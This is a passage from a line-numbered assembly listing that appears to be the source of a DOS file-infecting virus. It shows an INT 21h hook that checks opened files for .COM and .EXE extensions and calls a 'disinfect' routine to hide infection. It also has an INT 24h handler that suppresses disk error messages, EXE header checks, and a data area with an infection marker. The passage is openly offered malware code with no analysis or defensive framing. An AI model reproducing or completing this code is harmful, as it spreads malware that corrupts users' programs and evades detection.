  721.                 cmp     byte ptr cs:[com_ext],1         ;is it a .com?
  722.                 je      open_ok_ext                     ;yep, then jmp
  723.                 cmp     byte ptr cs:[exe_ext],1         ;is it a .exe?
  724.                 je      open_ok_ext                     ;yep, them jmp
  725.                 jmp     open_exit                       ;ext no good, exit!
  726.  
  727. open_ok_ext:    call    exec_disinfect1                 ;disinfect file!
  728. open_exit:      pop     dx                              ;restore dx
  729.                 jmp     int21call                       ;exit to dos...
  730. ;-------------------------------------------------------------------------------
  731. ;                       Checks Buffer (EXE) Header
  732. ;-------------------------------------------------------------------------------
  733. chkbuf                  PROC
  734.                 push    si                              ;save register
  735.                 mov     si,word ptr cs:[buffer]         ;get first word
  736.                 cmp     si,5A4Dh                        ;si=ZM?
  737.                 je      chkbuf_ok                       ;if yes exit
  738.                 cmp     si,4D5Ah                        ;si=MZ?
  739. chkbuf_ok:      pop     si                              ;pop register
  740.                 ret
  741. chkbuf                  ENDP
  742. ;-------------------------------------------------------------------------------
  743. ;                       Check file Extension
  744. ;-------------------------------------------------------------------------------
  745. check_extension         PROC
  746.                 pushf                                   ;save flags
  747.                 push    cx                              ;save cx,si
  748.                 push    si
  749.                 mov     si,dx                           ;ds:[si]=asciiz
  750.                 mov     cx,128                          ;scan 128 bytes max
  751.                 mov     byte ptr cs:[com_ext],0         ;reset .com flag
  752.                 mov     byte ptr cs:[exe_ext],0         ;reset .exe flag
  753.  
  754. check_ext:      cmp     byte ptr ds:[si],2Eh            ;scan for "."
  755.                 je      check_ext1                      ;jmp if found
  756.                 inc     si                              ;else inc and loop
  757.                 loop    check_ext                       ;loop me
  758.  
  759. check_ext1:     inc     si                              ;inc asciiz ptr
  760.                 cmp     word ptr ds:[si],'OC'           ;is it .COM
  761.                 jne     check_ext2                      ;       ~~
  762.                 cmp     byte ptr ds:[si+2],'M'          ;is it .COM
  763.                 je      com_file_ext                    ;         ~
  764.  
  765. check_ext2:     cmp     word ptr ds:[si],'oc'           ;is it .com
  766.                 jne     check_ext3                      ;       ~~
  767.                 cmp     byte ptr ds:[si+2],'m'          ;is it .com
  768.                 je      com_file_ext                    ;         ~
  769.  
  770. check_ext3:     cmp     word ptr ds:[si],'XE'           ;is it .EXE
  771.                 jne     check_ext4                      ;       ~~
  772.                 cmp     byte ptr ds:[si+2],'E'          ;is it .EXE
  773.                 je      exe_file_ext                    ;         ~
  774.  
  775. check_ext4:     cmp     word ptr ds:[si],'xe'           ;is it .exe
  776.                 jne     check_ext_exit                  ;       ~~
  777.                 cmp     byte ptr ds:[si+2],'e'          ;is it .exe
  778.                 je      exe_file_ext                    ;         ~
  779.                 jmp     check_ext_exit                  ;neither exit
  780.  
  781. com_file_ext:   mov     byte ptr cs:[com_ext],1         ;found .com file
  782.                 jmp     SHORT check_ext_exit            ;jmp short
  783. exe_file_ext:   mov     byte ptr cs:[exe_ext],1         ;found .exe file
  784.  
  785. check_ext_exit: pop     si                              ;restore
  786.                 pop     cx
  787.                 popf                                    ;save flags
  788.                 ret
  789.  
  790. com_ext         db      0                               ;flag on=.com file
  791. exe_ext         db      0                               ;flag on=.exe file
  792. check_extension         ENDP
  793. ;-------------------------------------------------------------------------------
  794. ;                       Original Int21h
  795. ;-------------------------------------------------------------------------------
  796. calldos21               PROC
  797.                 pushf                                   ;fake int call
  798.                 call    dword ptr cs:[int21]            ;call original int_21
  799.                 ret
  800. calldos21               ENDP
  801. ;===============================================================================
  802. ;                       Int 24h Handler
  803. ;===============================================================================
  804. int24_handler:
  805.                 mov     al,3                            ;don't report error...
  806.                 iret                                    ;later dude...
  807. ;-------------------------------------------------------------------------------
  808. ;              FLAGS - FLAGS - FLAGS - FLAGS - FLAGS
  809.  
  810. close           db      0                       ;closing file
  811.  
  812. ;-------------------------------------------------------------------------------
  813. ;             END - END - END - END - END - END - END
  814.  
  815. rand_val        dw      0
  816. flags           dw      0                       ;Flags are saved here
  817. attrib          db      0                       ;file's attrib
  818. filesize        dd      0                       ;filesize
  819. handle          dw      0                       ;file handler
  820. old_date        dw      0                       ;file date
  821. old_time        dw      0                       ;file time
  822. ;-------------------------------------------------------------------------------
  823. org_time        dw      0                       ;original file time
  824.  
  825. ;-------------------------------------------------------------------------------
  826. buffer          db      0CDh,020h       ; 0 (0)  EXE file signature
  827.                 db      090h,090h       ; 2 (2)  Length of file
  828.                 db      090h,090h       ; 4 (4)  Size of file + header (512k)
  829.                 db      090h,090h       ; 6 (6)  # of relocation items
  830.                 db      090h,090h       ; 8 (8)  Size of header (16byte para)
  831.                 db      090h,090h       ; A (10) Min para needed (16byte)
  832.                 db      090h,090h       ; C (12) Max para needed (16byte)
  833.                 db      090h,090h       ; E (14) SS reg from start in para.
  834.                 db      090h,090h       ; 10(16) SP reg at entry
  835.                 db      090h,090h       ; 12(18) checksum
  836.                 db      090h,090h       ; 14(20) IP reg at entry
  837.                 db      090h,090h       ; 16(22) CS reg from start in para.
  838. Marker          db      0DBh,0DBh       ; Marks THIS File as INFECTED!
  839. last:
  840. seg_a           ends
  841.                 end     start
  842.